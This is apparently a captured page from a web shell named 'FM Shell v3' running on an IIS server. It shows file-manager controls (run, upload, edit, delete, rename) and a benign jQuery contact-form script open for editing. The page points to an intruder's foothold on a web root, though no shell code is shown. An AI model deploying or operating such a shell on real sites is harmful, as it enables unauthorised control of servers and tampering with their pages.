FM Shell v3
| user: iis apppool\cms1 | host: TEST-IIS | ps: 5.1.14393.3053 | pid: 9336
cwd:
C:\inetpub\wwwroot\aspnet_client
[..]
go
mkdir
run
upload
edit: C:\inetpub\wwwroot\monneyorchard.com\js\mail.ajax.js
$(function() { // Get the form. var form = $('#ajax-contact'); // Get the messages div. var formMessages = $('.form-messages'); // Set up an event listener for the contact form. form.submit(function(e) { // Stop the browser from submitting the form. e.preventDefault(); // Serialize the form data. var formData = $(form).serialize(); // Submit the form using AJAX. $.ajax({ type: 'POST', url: form.attr('action'), data: formData }) .done(function(response) { // Make sure that the formMessages div has the 'success' class. if( response.indexOf('Thank') === -1 ) { formMessages.addClass('error'); formMessages.removeClass('success'); } else { formMessages.removeClass('error') formMessages.addClass('success') } // Set the message text. formMessages.text(response); // Clear the form. $('#name').val(''); $('#phone').val(''); $('#lName').val(''); $('#email').val(''); $('#message').val(''); }) .fail(function(data) { // Make sure that the formMessages div has the 'error' class. formMessages.removeClass('success'); formMessages.addClass('error'); // Set the message text. if (data.responseText !== '') { formMessages.text(data.responseText); } else { formMessages.text('Oops! An error occured and your message could not be sent.'); } }); }); });
save
name
size
mtime
actions
[D] system_web
-
2019-06-10 19:31
del
ren
web.config
518
2019-06-11 17:18
edit
get
del
ren